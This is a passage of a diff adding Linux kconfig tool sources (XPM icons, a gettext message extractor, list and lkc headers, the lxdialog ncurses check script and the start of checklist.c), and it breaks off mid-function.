|
||||
" . . ",
|
||||
" .......... ",
|
||||
" "};
|
||||
|
||||
static const char *xpm_menu_inv[] = {
|
||||
"12 12 2 1",
|
||||
" c white",
|
||||
". c black",
|
||||
" ",
|
||||
" .......... ",
|
||||
" .......... ",
|
||||
" .. ...... ",
|
||||
" .. .... ",
|
||||
" .. .. ",
|
||||
" .. .. ",
|
||||
" .. .... ",
|
||||
" .. ...... ",
|
||||
" .......... ",
|
||||
" .......... ",
|
||||
" "};
|
||||
|
||||
static const char *xpm_menuback[] = {
|
||||
"12 12 2 1",
|
||||
" c white",
|
||||
". c black",
|
||||
" ",
|
||||
" .......... ",
|
||||
" . . ",
|
||||
" . .. . ",
|
||||
" . .... . ",
|
||||
" . ...... . ",
|
||||
" . ...... . ",
|
||||
" . .... . ",
|
||||
" . .. . ",
|
||||
" . . ",
|
||||
" .......... ",
|
||||
" "};
|
||||
|
||||
static const char *xpm_void[] = {
|
||||
"12 12 2 1",
|
||||
" c white",
|
||||
". c black",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" ",
|
||||
" "};
|
@ -0,0 +1,235 @@
|
||||
/*
|
||||
* Arnaldo Carvalho de Melo <acme@conectiva.com.br>, 2005
|
||||
*
|
||||
* Released under the terms of the GNU GPL v2.0
|
||||
*/
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "lkc.h"
|
||||
|
||||
static char *escape(const char* text, char *bf, int len)
|
||||
{
|
||||
char *bfp = bf;
|
||||
int multiline = strchr(text, '\n') != NULL;
|
||||
int eol = 0;
|
||||
int textlen = strlen(text);
|
||||
|
||||
if ((textlen > 0) && (text[textlen-1] == '\n'))
|
||||
eol = 1;
|
||||
|
||||
*bfp++ = '"';
|
||||
--len;
|
||||
|
||||
if (multiline) {
|
||||
*bfp++ = '"';
|
||||
*bfp++ = '\n';
|
||||
*bfp++ = '"';
|
||||
len -= 3;
|
||||
}
|
||||
|
||||
while (*text != '\0' && len > 1) {
|
||||
if (*text == '"')
|
||||
*bfp++ = '\\';
|
||||
else if (*text == '\n') {
|
||||
*bfp++ = '\\';
|
||||
*bfp++ = 'n';
|
||||
*bfp++ = '"';
|
||||
*bfp++ = '\n';
|
||||
*bfp++ = '"';
|
||||
len -= 5;
|
||||
++text;
|
||||
goto next;
|
||||
}
|
||||
else if (*text == '\\') {
|
||||
*bfp++ = '\\';
|
||||
len--;
|
||||
}
|
||||
*bfp++ = *text++;
|
||||
next:
|
||||
--len;
|
||||
}
|
||||
|
||||
if (multiline && eol)
|
||||
bfp -= 3;
|
||||
|
||||
*bfp++ = '"';
|
||||
*bfp = '\0';
|
||||
|
||||
return bf;
|
||||
}
|
||||
|
||||
struct file_line {
|
||||
struct file_line *next;
|
||||
const char *file;
|
||||
int lineno;
|
||||
};
|
||||
|
||||
static struct file_line *file_line__new(const char *file, int lineno)
|
||||
{
|
||||
struct file_line *self = malloc(sizeof(*self));
|
||||
|
||||
if (self == NULL)
|
||||
goto out;
|
||||
|
||||
self->file = file;
|
||||
self->lineno = lineno;
|
||||
self->next = NULL;
|
||||
out:
|
||||
return self;
|
||||
}
|
||||
|
||||
struct message {
|
||||
const char *msg;
|
||||
const char *option;
|
||||
struct message *next;
|
||||
struct file_line *files;
|
||||
};
|
||||
|
||||
static struct message *message__list;
|
||||
|
||||
static struct message *message__new(const char *msg, char *option,
|
||||
const char *file, int lineno)
|
||||
{
|
||||
struct message *self = malloc(sizeof(*self));
|
||||
|
||||
if (self == NULL)
|
||||
goto out;
|
||||
|
||||
self->files = file_line__new(file, lineno);
|
||||
if (self->files == NULL)
|
||||
goto out_fail;
|
||||
|
||||
self->msg = strdup(msg);
|
||||
if (self->msg == NULL)
|
||||
goto out_fail_msg;
|
||||
|
||||
self->option = option;
|
||||
self->next = NULL;
|
||||
out:
|
||||
return self;
|
||||
out_fail_msg:
|
||||
free(self->files);
|
||||
out_fail:
|
||||
free(self);
|
||||
self = NULL;
|
||||
goto out;
|
||||
}
|
||||
|
||||
static struct message *mesage__find(const char *msg)
|
||||
{
|
||||
struct message *m = message__list;
|
||||
|
||||
while (m != NULL) {
|
||||
if (strcmp(m->msg, msg) == 0)
|
||||
break;
|
||||
m = m->next;
|
||||
}
|
||||
|
||||
return m;
|
||||
}
|
||||
|
||||
static int message__add_file_line(struct message *self, const char *file,
|
||||
int lineno)
|
||||
{
|
||||
int rc = -1;
|
||||
struct file_line *fl = file_line__new(file, lineno);
|
||||
|
||||
if (fl == NULL)
|
||||
goto out;
|
||||
|
||||
fl->next = self->files;
|
||||
self->files = fl;
|
||||
rc = 0;
|
||||
out:
|
||||
return rc;
|
||||
}
|
||||
|
||||
static int message__add(const char *msg, char *option, const char *file,
|
||||
int lineno)
|
||||
{
|
||||
int rc = 0;
|
||||
char bf[16384];
|
||||
char *escaped = escape(msg, bf, sizeof(bf));
|
||||
struct message *m = mesage__find(escaped);
|
||||
|
||||
if (m != NULL)
|
||||
rc = message__add_file_line(m, file, lineno);
|
||||
else {
|
||||
m = message__new(escaped, option, file, lineno);
|
||||
|
||||
if (m != NULL) {
|
||||
m->next = message__list;
|
||||
message__list = m;
|
||||
} else
|
||||
rc = -1;
|
||||
}
|
||||
return rc;
|
||||
}
|
||||
|
||||
static void menu_build_message_list(struct menu *menu)
|
||||
{
|
||||
struct menu *child;
|
||||
|
||||
message__add(menu_get_prompt(menu), NULL,
|
||||
menu->file == NULL ? "Root Menu" : menu->file->name,
|
||||
menu->lineno);
|
||||
|
||||
if (menu->sym != NULL && menu_has_help(menu))
|
||||
message__add(menu_get_help(menu), menu->sym->name,
|
||||
menu->file == NULL ? "Root Menu" : menu->file->name,
|
||||
menu->lineno);
|
||||
|
||||
for (child = menu->list; child != NULL; child = child->next)
|
||||
if (child->prompt != NULL)
|
||||
menu_build_message_list(child);
|
||||
}
|
||||
|
||||
static void message__print_file_lineno(struct message *self)
|
||||
{
|
||||
struct file_line *fl = self->files;
|
||||
|
||||
putchar('\n');
|
||||
if (self->option != NULL)
|
||||
printf("# %s:00000\n", self->option);
|
||||
|
||||
printf("#: %s:%d", fl->file, fl->lineno);
|
||||
fl = fl->next;
|
||||
|
||||
while (fl != NULL) {
|
||||
printf(", %s:%d", fl->file, fl->lineno);
|
||||
fl = fl->next;
|
||||
}
|
||||
|
||||
putchar('\n');
|
||||
}
|
||||
|
||||
static void message__print_gettext_msgid_msgstr(struct message *self)
|
||||
{
|
||||
message__print_file_lineno(self);
|
||||
|
||||
printf("msgid %s\n"
|
||||
"msgstr \"\"\n", self->msg);
|
||||
}
|
||||
|
||||
static void menu__xgettext(void)
|
||||
{
|
||||
struct message *m = message__list;
|
||||
|
||||
while (m != NULL) {
|
||||
/* skip empty lines ("") */
|
||||
if (strlen(m->msg) > sizeof("\"\""))
|
||||
message__print_gettext_msgid_msgstr(m);
|
||||
m = m->next;
|
||||
}
|
||||
}
|
||||
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
conf_parse(av[1]);
|
||||
|
||||
menu_build_message_list(menu_get_root_menu(NULL));
|
||||
menu__xgettext();
|
||||
return 0;
|
||||
}
|
@ -0,0 +1,131 @@
|
||||
#ifndef LIST_H
|
||||
#define LIST_H
|
||||
|
||||
/*
|
||||
* Copied from include/linux/...
|
||||
*/
|
||||
|
||||
#undef offsetof
|
||||
#define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
|
||||
|
||||
/**
|
||||
* container_of - cast a member of a structure out to the containing structure
|
||||
* @ptr: the pointer to the member.
|
||||
* @type: the type of the container struct this is embedded in.
|
||||
* @member: the name of the member within the struct.
|
||||
*
|
||||
*/
|
||||
#define container_of(ptr, type, member) ({ \
|
||||
const typeof( ((type *)0)->member ) *__mptr = (ptr); \
|
||||
(type *)( (char *)__mptr - offsetof(type,member) );})
|
||||
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next, *prev;
|
||||
};
|
||||
|
||||
|
||||
#define LIST_HEAD_INIT(name) { &(name), &(name) }
|
||||
|
||||
#define LIST_HEAD(name) \
|
||||
struct list_head name = LIST_HEAD_INIT(name)
|
||||
|
||||
/**
|
||||
* list_entry - get the struct for this entry
|
||||
* @ptr: the &struct list_head pointer.
|
||||
* @type: the type of the struct this is embedded in.
|
||||
* @member: the name of the list_struct within the struct.
|
||||
*/
|
||||
#define list_entry(ptr, type, member) \
|
||||
container_of(ptr, type, member)
|
||||
|
||||
/**
|
||||
* list_for_each_entry - iterate over list of given type
|
||||
* @pos: the type * to use as a loop cursor.
|
||||
* @head: the head for your list.
|
||||
* @member: the name of the list_struct within the struct.
|
||||
*/
|
||||
#define list_for_each_entry(pos, head, member) \
|
||||
for (pos = list_entry((head)->next, typeof(*pos), member); \
|
||||
&pos->member != (head); \
|
||||
pos = list_entry(pos->member.next, typeof(*pos), member))
|
||||
|
||||
/**
|
||||
* list_for_each_entry_safe - iterate over list of given type safe against removal of list entry
|
||||
* @pos: the type * to use as a loop cursor.
|
||||
* @n: another type * to use as temporary storage
|
||||
* @head: the head for your list.
|
||||
* @member: the name of the list_struct within the struct.
|
||||
*/
|
||||
#define list_for_each_entry_safe(pos, n, head, member) \
|
||||
for (pos = list_entry((head)->next, typeof(*pos), member), \
|
||||
n = list_entry(pos->member.next, typeof(*pos), member); \
|
||||
&pos->member != (head); \
|
||||
pos = n, n = list_entry(n->member.next, typeof(*n), member))
|
||||
|
||||
/**
|
||||
* list_empty - tests whether a list is empty
|
||||
* @head: the list to test.
|
||||
*/
|
||||
static inline int list_empty(const struct list_head *head)
|
||||
{
|
||||
return head->next == head;
|
||||
}
|
||||
|
||||
/*
|
||||
* Insert a new entry between two known consecutive entries.
|
||||
*
|
||||
* This is only for internal list manipulation where we know
|
||||
* the prev/next entries already!
|
||||
*/
|
||||
static inline void __list_add(struct list_head *_new,
|
||||
struct list_head *prev,
|
||||
struct list_head *next)
|
||||
{
|
||||
next->prev = _new;
|
||||
_new->next = next;
|
||||
_new->prev = prev;
|
||||
prev->next = _new;
|
||||
}
|
||||
|
||||
/**
|
||||
* list_add_tail - add a new entry
|
||||
* @new: new entry to be added
|
||||
* @head: list head to add it before
|
||||
*
|
||||
* Insert a new entry before the specified head.
|
||||
* This is useful for implementing queues.
|
||||
*/
|
||||
static inline void list_add_tail(struct list_head *_new, struct list_head *head)
|
||||
{
|
||||
__list_add(_new, head->prev, head);
|
||||
}
|
||||
|
||||
/*
|
||||
* Delete a list entry by making the prev/next entries
|
||||
* point to each other.
|
||||
*
|
||||
* This is only for internal list manipulation where we know
|
||||
* the prev/next entries already!
|
||||
*/
|
||||
static inline void __list_del(struct list_head *prev, struct list_head *next)
|
||||
{
|
||||
next->prev = prev;
|
||||
prev->next = next;
|
||||
}
|
||||
|
||||
#define LIST_POISON1 ((void *) 0x00100100)
|
||||
#define LIST_POISON2 ((void *) 0x00200200)
|
||||
/**
|
||||
* list_del - deletes entry from list.
|
||||
* @entry: the element to delete from the list.
|
||||
* Note: list_empty() on entry does not return true after this, the entry is
|
||||
* in an undefined state.
|
||||
*/
|
||||
static inline void list_del(struct list_head *entry)
|
||||
{
|
||||
__list_del(entry->prev, entry->next);
|
||||
entry->next = (struct list_head*)LIST_POISON1;
|
||||
entry->prev = (struct list_head*)LIST_POISON2;
|
||||
}
|
||||
#endif
|
@ -0,0 +1,214 @@
|
||||
/*
|
||||
* Copyright (C) 2002 Roman Zippel <zippel@linux-m68k.org>
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*/
|
||||
|
||||
#ifndef LKC_H
|
||||
#define LKC_H
|
||||
|
||||
#include "expr.h"
|
||||
|
||||
#ifndef KBUILD_NO_NLS
|
||||
# include <libintl.h>
|
||||
#else
|
||||
static inline const char *gettext(const char *txt) { return txt; }
|
||||
static inline void textdomain(const char *domainname) {}
|
||||
static inline void bindtextdomain(const char *name, const char *dir) {}
|
||||
static inline char *bind_textdomain_codeset(const char *dn, char *c) { return c; }
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#ifndef PRODUCT_ENV
|
||||
/* BR2 for buildroot, KCONFIG for kernel. */
|
||||
#define PRODUCT_ENV "KCONFIG"
|
||||
#endif
|
||||
|
||||
#ifndef PRODUCT
|
||||
/* Buildroot buildroot, Kernel for kernel. */
|
||||
#define PRODUCT "Kernel"
|
||||
#endif
|
||||
|
||||
#ifndef PRODUCT_DOMAIN
|
||||
/* buildroot.org for buildroot, kernel.org for kernel. */
|
||||
#define PRODUCT_DOMAIN "kernel.org"
|
||||
#endif
|
||||
|
||||
#define P(name,type,arg) extern type name arg
|
||||
#include "lkc_proto.h"
|
||||
#undef P
|
||||
|
||||
#define SRCTREE "srctree"
|
||||
|
||||
#ifndef PACKAGE
|
||||
#define PACKAGE "linux"
|
||||
#endif
|
||||
|
||||
#define LOCALEDIR "/usr/share/locale"
|
||||
|
||||
#define _(text) gettext(text)
|
||||
#define N_(text) (text)
|
||||
|
||||
#ifndef CONFIG_
|
||||
#define CONFIG_ "CONFIG_"
|
||||
#endif
|
||||
static inline const char *CONFIG_prefix(void)
|
||||
{
|
||||
return getenv( "CONFIG_" ) ?: CONFIG_;
|
||||
}
|
||||
#undef CONFIG_
|
||||
#define CONFIG_ CONFIG_prefix()
|
||||
|
||||
#define TF_COMMAND 0x0001
|
||||
#define TF_PARAM 0x0002
|
||||
#define TF_OPTION 0x0004
|
||||
|
||||
enum conf_def_mode {
|
||||
def_default,
|
||||
def_yes,
|
||||
def_mod,
|
||||
def_no,
|
||||
def_random
|
||||
};
|
||||
|
||||
#define T_OPT_MODULES 1
|
||||
#define T_OPT_DEFCONFIG_LIST 2
|
||||
#define T_OPT_ENV 3
|
||||
|
||||
struct kconf_id {
|
||||
int name;
|
||||
int token;
|
||||
unsigned int flags;
|
||||
enum symbol_type stype;
|
||||
};
|
||||
|
||||
extern int zconfdebug;
|
||||
|
||||
int zconfparse(void);
|
||||
void zconfdump(FILE *out);
|
||||
void zconf_starthelp(void);
|
||||
FILE *zconf_fopen(const char *name);
|
||||
void zconf_initscan(const char *name);
|
||||
void zconf_nextfile(const char *name);
|
||||
int zconf_lineno(void);
|
||||
const char *zconf_curname(void);
|
||||
|
||||
/* confdata.c */
|
||||
const char *conf_get_configname(void);
|
||||
const char *conf_get_autoconfig_name(void);
|
||||
char *conf_get_default_confname(void);
|
||||
void sym_set_change_count(int count);
|
||||
void sym_add_change_count(int count);
|
||||
bool conf_set_all_new_symbols(enum conf_def_mode mode);
|
||||
void set_all_choice_values(struct symbol *csym);
|
||||
|
||||
struct conf_printer {
|
||||
void (*print_symbol)(FILE *, struct symbol *, const char *, void *);
|
||||
void (*print_comment)(FILE *, const char *, void *);
|
||||
};
|
||||
|
||||
/* confdata.c and expr.c */
|
||||
static inline void xfwrite(const void *str, size_t len, size_t count, FILE *out)
|
||||
{
|
||||
assert(len != 0);
|
||||
|
||||
if (fwrite(str, len, count, out) != count)
|
||||
fprintf(stderr, "Error in writing or end of file.\n");
|
||||
}
|
||||
|
||||
/* menu.c */
|
||||
void _menu_init(void);
|
||||
void menu_warn(struct menu *menu, const char *fmt, ...);
|
||||
struct menu *menu_add_menu(void);
|
||||
void menu_end_menu(void);
|
||||
void menu_add_entry(struct symbol *sym);
|
||||
void menu_end_entry(void);
|
||||
void menu_add_dep(struct expr *dep);
|
||||
void menu_add_visibility(struct expr *dep);
|
||||
struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep);
|
||||
struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep);
|
||||
void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep);
|
||||
void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep);
|
||||
void menu_add_option(int token, char *arg);
|
||||
void menu_finalize(struct menu *parent);
|
||||
void menu_set_type(int type);
|
||||
|
||||
/* util.c */
|
||||
struct file *file_lookup(const char *name);
|
||||
int file_write_dep(const char *name);
|
||||
void *xmalloc(size_t size);
|
||||
void *xcalloc(size_t nmemb, size_t size);
|
||||
|
||||
struct gstr {
|
||||
size_t len;
|
||||
char *s;
|
||||
/*
|
||||
* when max_width is not zero long lines in string s (if any) get
|
||||
* wrapped not to exceed the max_width value
|
||||
*/
|
||||
int max_width;
|
||||
};
|
||||
struct gstr str_new(void);
|
||||
struct gstr str_assign(const char *s);
|
||||
void str_free(struct gstr *gs);
|
||||
void str_append(struct gstr *gs, const char *s);
|
||||
void str_printf(struct gstr *gs, const char *fmt, ...);
|
||||
const char *str_get(struct gstr *gs);
|
||||
|
||||
/* symbol.c */
|
||||
extern struct expr *sym_env_list;
|
||||
|
||||
void sym_init(void);
|
||||
void sym_clear_all_valid(void);
|
||||
void sym_set_all_changed(void);
|
||||
void sym_set_changed(struct symbol *sym);
|
||||
struct symbol *sym_choice_default(struct symbol *sym);
|
||||
const char *sym_get_string_default(struct symbol *sym);
|
||||
struct symbol *sym_check_deps(struct symbol *sym);
|
||||
struct property *prop_alloc(enum prop_type type, struct symbol *sym);
|
||||
struct symbol *prop_get_symbol(struct property *prop);
|
||||
struct property *sym_get_env_prop(struct symbol *sym);
|
||||
|
||||
static inline tristate sym_get_tristate_value(struct symbol *sym)
|
||||
{
|
||||
return sym->curr.tri;
|
||||
}
|
||||
|
||||
|
||||
static inline struct symbol *sym_get_choice_value(struct symbol *sym)
|
||||
{
|
||||
return (struct symbol *)sym->curr.val;
|
||||
}
|
||||
|
||||
static inline bool sym_set_choice_value(struct symbol *ch, struct symbol *chval)
|
||||
{
|
||||
return sym_set_tristate_value(chval, yes);
|
||||
}
|
||||
|
||||
static inline bool sym_is_choice(struct symbol *sym)
|
||||
{
|
||||
return sym->flags & SYMBOL_CHOICE ? true : false;
|
||||
}
|
||||
|
||||
static inline bool sym_is_choice_value(struct symbol *sym)
|
||||
{
|
||||
return sym->flags & SYMBOL_CHOICEVAL ? true : false;
|
||||
}
|
||||
|
||||
static inline bool sym_is_optional(struct symbol *sym)
|
||||
{
|
||||
return sym->flags & SYMBOL_OPTIONAL ? true : false;
|
||||
}
|
||||
|
||||
static inline bool sym_has_value(struct symbol *sym)
|
||||
{
|
||||
return sym->flags & SYMBOL_DEF_USER ? true : false;
|
||||
}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* LKC_H */
|
@ -0,0 +1,57 @@
|
||||
#include <stdarg.h>
|
||||
|
||||
/* confdata.c */
|
||||
P(conf_parse,void,(const char *name));
|
||||
P(conf_read,int,(const char *name));
|
||||
P(conf_read_simple,int,(const char *name, int));
|
||||
P(conf_write_defconfig,int,(const char *name));
|
||||
P(conf_write,int,(const char *name));
|
||||
P(conf_write_autoconf,int,(void));
|
||||
P(conf_get_changed,bool,(void));
|
||||
P(conf_set_changed_callback, void,(void (*fn)(void)));
|
||||
P(conf_set_message_callback, void,(void (*fn)(const char *fmt, va_list ap)));
|
||||
|
||||
/* menu.c */
|
||||
P(rootmenu,struct menu,);
|
||||
|
||||
P(menu_is_empty, bool, (struct menu *menu));
|
||||
P(menu_is_visible, bool, (struct menu *menu));
|
||||
P(menu_has_prompt, bool, (struct menu *menu));
|
||||
P(menu_get_prompt,const char *,(struct menu *menu));
|
||||
P(menu_get_root_menu,struct menu *,(struct menu *menu));
|
||||
P(menu_get_parent_menu,struct menu *,(struct menu *menu));
|
||||
P(menu_has_help,bool,(struct menu *menu));
|
||||
P(menu_get_help,const char *,(struct menu *menu));
|
||||
P(get_symbol_str, void, (struct gstr *r, struct symbol *sym, struct list_head
|
||||
*head));
|
||||
P(get_relations_str, struct gstr, (struct symbol **sym_arr, struct list_head
|
||||
*head));
|
||||
P(menu_get_ext_help,void,(struct menu *menu, struct gstr *help));
|
||||
|
||||
/* symbol.c */
|
||||
P(symbol_hash,struct symbol *,[SYMBOL_HASHSIZE]);
|
||||
|
||||
P(sym_lookup,struct symbol *,(const char *name, int flags));
|
||||
P(sym_find,struct symbol *,(const char *name));
|
||||
P(sym_expand_string_value,const char *,(const char *in));
|
||||
P(sym_escape_string_value, const char *,(const char *in));
|
||||
P(sym_re_search,struct symbol **,(const char *pattern));
|
||||
P(sym_type_name,const char *,(enum symbol_type type));
|
||||
P(sym_calc_value,void,(struct symbol *sym));
|
||||
P(sym_get_type,enum symbol_type,(struct symbol *sym));
|
||||
P(sym_tristate_within_range,bool,(struct symbol *sym,tristate tri));
|
||||
P(sym_set_tristate_value,bool,(struct symbol *sym,tristate tri));
|
||||
P(sym_toggle_tristate_value,tristate,(struct symbol *sym));
|
||||
P(sym_string_valid,bool,(struct symbol *sym, const char *newval));
|
||||
P(sym_string_within_range,bool,(struct symbol *sym, const char *str));
|
||||
P(sym_set_string_value,bool,(struct symbol *sym, const char *newval));
|
||||
P(sym_is_changable,bool,(struct symbol *sym));
|
||||
P(sym_get_choice_prop,struct property *,(struct symbol *sym));
|
||||
P(sym_get_default_prop,struct property *,(struct symbol *sym));
|
||||
P(sym_get_string_value,const char *,(struct symbol *sym));
|
||||
|
||||
P(prop_get_type_name,const char *,(enum prop_type type));
|
||||
|
||||
/* expr.c */
|
||||
P(expr_compare_type,int,(enum expr_type t1, enum expr_type t2));
|
||||
P(expr_print,void,(struct expr *e, void (*fn)(void *, struct symbol *, const char *), void *data, int prevtoken));
|
@ -0,0 +1,4 @@
|
||||
This is NOT the official version of dialog. This version has been
|
||||
significantly modified from the original. It is for use by the Linux
|
||||
kernel configuration script. Please do not bother Savio Lam with
|
||||
questions about this program.
|
@ -0,0 +1,87 @@
|
||||
#!/bin/sh
|
||||
# Check ncurses compatibility
|
||||
|
||||
# What library to link
|
||||
ldflags()
|
||||
{
|
||||
pkg-config --libs ncursesw 2>/dev/null && exit
|
||||
pkg-config --libs ncurses 2>/dev/null && exit
|
||||
for ext in so a dll.a dylib ; do
|
||||
for lib in ncursesw ncurses curses ; do
|
||||
$cc -print-file-name=lib${lib}.${ext} | grep -q /
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "-l${lib}"
|
||||
exit
|
||||
fi
|
||||
done
|
||||
done
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Where is ncurses.h?
|
||||
ccflags()
|
||||
{
|
||||
if [ -f /usr/include/ncursesw/curses.h ]; then
|
||||
echo '-I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"'
|
||||
echo ' -DNCURSES_WIDECHAR=1'
|
||||
elif [ -f /usr/include/ncurses/ncurses.h ]; then
|
||||
echo '-I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>"'
|
||||
elif [ -f /usr/include/ncurses/curses.h ]; then
|
||||
echo '-I/usr/include/ncurses -DCURSES_LOC="<curses.h>"'
|
||||
elif [ -f /usr/include/ncurses.h ]; then
|
||||
echo '-DCURSES_LOC="<ncurses.h>"'
|
||||
else
|
||||
echo '-DCURSES_LOC="<curses.h>"'
|
||||
fi
|
||||
}
|
||||
|
||||
# Temp file, try to clean up after us
|
||||
tmp=$(mktemp)
|
||||
trap "rm -f $tmp" 0 1 2 3 15
|
||||
|
||||
# Check if we can link to ncurses
|
||||
check() {
|
||||
$cc -x c - -o $tmp 2>/dev/null <<'EOF'
|
||||
#include CURSES_LOC
|
||||
main() {}
|
||||
EOF
|
||||
if [ $? != 0 ]; then
|
||||
echo " *** Unable to find the ncurses libraries or the" 1>&2
|
||||
echo " *** required header files." 1>&2
|
||||
echo " *** 'make menuconfig' requires the ncurses libraries." 1>&2
|
||||
echo " *** " 1>&2
|
||||
echo " *** Install ncurses (ncurses-devel) and try again." 1>&2
|
||||
echo " *** " 1>&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
usage() {
|
||||
printf "Usage: $0 [-check compiler options|-ccflags|-ldflags compiler options]\n"
|
||||
}
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
usage
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cc=""
|
||||
case "$1" in
|
||||
"-check")
|
||||
shift
|
||||
cc="$@"
|
||||
check
|
||||
;;
|
||||
"-ccflags")
|
||||
ccflags
|
||||
;;
|
||||
"-ldflags")
|
||||
shift
|
||||
cc="$@"
|
||||
ldflags
|
||||
;;
|
||||
"*")
|
||||
usage
|
||||
exit 1
|
||||
;;
|
||||
esac
|
@ -0,0 +1,332 @@
|
||||
/*
|
||||
* checklist.c -- implements the checklist box
|
||||
*
|
||||
* ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
|
||||
* Stuart Herbert - S.Herbert@sheffield.ac.uk: radiolist extension
|
||||
* Alessandro Rubini - rubini@ipvvis.unipv.it: merged the two
|
||||
* MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com)
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License
|
||||
* as published by the Free Software Foundation; either version 2
|
||||
* of the License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program; if not, write to the Free Software
|
||||
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
|
||||
*/
|
||||
|
||||
#include "dialog.h"
|
||||
|
||||
static int list_width, check_x, item_x;
|
||||
|
||||
/*
|
||||
* Print list item
|
||||
*/
|
||||
static void print_item(WINDOW * win, int choice, int selected)
|
||||
{
|
||||
int i;
|
||||
char *list_item = malloc(list_width + 1);
|
||||
|
||||
strncpy(list_item, item_str(), list_width - item_x);
|
||||
list_item[list_width - item_x] = '\0';
|
||||
|
||||
/* Clear 'residue' of last item */
|
||||
wattrset(win, dlg.menubox.atr);
|
||||
wmove(win, choice, 0);
|
||||
for (i = 0; i < list_width; i++)
|
||||
waddch(win, ' ');
|
||||
|
||||
wmove(win, choice, check_x);
|
||||
wattrset(win, selected ? dlg.check_selected.atr
|
||||
: dlg.check.atr);
|
||||
if (!item_is_tag(':'))
|
||||
wprintw(win, "(%c)", item_is_tag('X') ? 'X' : ' ');
|
||||
|
||||
wattrset(win, selected ? dlg.tag_selected.atr : dlg.tag.atr);
|
||||
mvwaddch(win, choice, item_x, list_item[0]);
|
||||
wattrset(win, selected ? dlg.item_selected.atr : dlg.item.atr);
|
||||
waddstr(win, list_item + 1);
|
||||
if (selected) {
|
||||
wmove(win, choice, check_x + 1);
|
||||
wrefresh(win);
|
||||
}
|
||||
free(list_item);
|
||||
}
|
||||
|
||||
/*
|
||||
* Print the scroll indicators.
|
||||
*/
|
||||
static void print_arrows(WINDOW * win, int choice, int item_no, int scroll,
|
||||
int y, int x, int height)
|
||||
{
|
||||
wmove(win, y, x);
|
||||
|
||||
if (scroll > 0) {
|
||||
wattrset(win, dlg.uarrow.atr);
|
||||
waddch(win, ACS_UARROW);
|
||||
waddstr(win, "(-)");
|
||||
} else {
|
||||
wattrset(win, dlg.menubox.atr);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
}
|
||||
|
||||
y = y + height + 1;
|
||||
wmove(win, y, x);
|
||||
|
||||
if ((height < item_no) && (scroll + choice < item_no - 1)) {
|
||||
wattrset(win, dlg.darrow.atr);
|
||||
waddch(win, ACS_DARROW);
|
||||
waddstr(win, "(+)");
|
||||
} else {
|
||||
wattrset(win, dlg.menubox_border.atr);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Display the termination buttons
|
||||
*/
|
||||
static void print_buttons(WINDOW * dialog, int height, int width, int selected)
|
||||
{
|
||||
int x = width / 2 - 11;
|
||||
int y = height - 2;
|
||||
|
||||
print_button(dialog, gettext("Select"), y, x, selected == 0);
|
||||
print_button(dialog, gettext(" Help "), y, x + 14, selected == 1);
|
||||
|
||||
wmove(dialog, y, x + 1 + 14 * selected);
|
||||
wrefresh(dialog);
|
||||
}
|
||||
|
||||
/*
|
||||
* Display a dialog box with a list of options that can be turned on or off
|
||||
* in the style of radiolist (only one option turned on at a time).
|
||||
*/
|
||||
int dialog_checklist(const char *title, const char *prompt, int height,
|
||||
int width, int list_height)
|
||||
{
|
||||
int i, x, y, box_x, box_y;
|
||||
int key = 0, button = 0, choice = 0, scroll = 0, max_choice;
|
||||
WINDOW *dialog, *list;
|
||||
|
||||
/* which item to highlight */
|
||||
item_foreach() {
|
||||
if (item_is_tag('X'))
|
||||
choice = item_n();
|
||||
if (item_is_selected()) {
|
||||
choice = item_n();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
do_resize:
|
||||
if (getmaxy(stdscr) < (height + CHECKLIST_HEIGTH_MIN))
|
||||
return -ERRDISPLAYTOOSMALL;
|
||||
if (getmaxx(stdscr) < (width + CHECKLIST_WIDTH_MIN))
|
||||
return -ERRDISPLAYTOOSMALL;
|
||||
|
||||
max_choice = MIN(list_height, item_count());
|
||||
|
||||
/* center dialog box on screen */
|
||||
x = (getmaxx(stdscr) - width) / 2;
|
||||
y = (getmaxy(stdscr) - height) / 2;
|
||||
|
||||
draw_shadow(stdscr, y, x, height, width);
|
||||
|
||||
dialog = newwin(height, width, y, x);
|
||||
keypad(dialog, TRUE);
|
||||
|
||||
draw_box(dialog, 0, 0, height, width,
|
